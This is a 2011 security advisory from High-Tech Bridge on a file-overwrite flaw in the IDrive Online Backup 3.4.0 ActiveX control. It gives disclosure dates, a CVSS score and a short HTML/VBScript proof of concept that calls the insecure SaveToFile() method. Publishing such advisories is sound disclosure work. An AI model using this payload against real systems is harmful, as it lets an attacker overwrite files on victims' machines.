IDrive Online Backup ActiveX control Insecure Method

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Advisory ID:	HTB23025
Product:	IDrive Online Backup
Vendor:	Pro Softnet Corporation
Vulnerable Versions:	3.4.0 and probably prior
Tested Version:	3.4.0
Advisory Publication:	June 15, 2011 [without technical details]
Vendor Notification:	June 15, 2011
Public Disclosure:	July 6, 2011
Latest Update:	July 6, 2011
Vulnerability Type:	Exposed Unsafe ActiveX Method [CWE-618]
Risk Level:	Critical

CVSSv2 Base Score:	10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered vulnerability in IDrive Online Backup ActiveX control, which can be exploited to overwrite arbitrary files. 1) Insecure method in IDrive Online Backup ActiveX Control The vulnerability is caused due to the UniBasicPack.UniTextBox (UniBasic100_EDA1811C.ocx) ActiveX control including the insecure "SaveToFile()" method. This can be exploited to rewrite arbitrary files in the context of the current user. The following PoC code is available: <html> <object classid='clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\File_name_to_rewrite_or_create" arg2=1 arg3="New_Fi le_Content" target.Text=arg3 target.SelStart=0 target.SelEnd=Len(arg3) t arget.SaveToFIle arg1,arg2 End Sub </script> </html>
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References:
[1] High-Tech Bridge Advisory HTB23025 - https://www.immuniweb.com/advisory/HTB23025 - IDrive Online Backup ActiveX Control [2] IDrive Online Backup - www.idrive.com - IDrive Online Backup is a solution for creating online backups. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Previous Security Advisories with CWE-618:

HTB23024: StudioLine Photo Basic 3 ActiveX control Insecure Method

HTB23020: Multiple Vulnerabilities in ThreeDify Designer ActiveX Control

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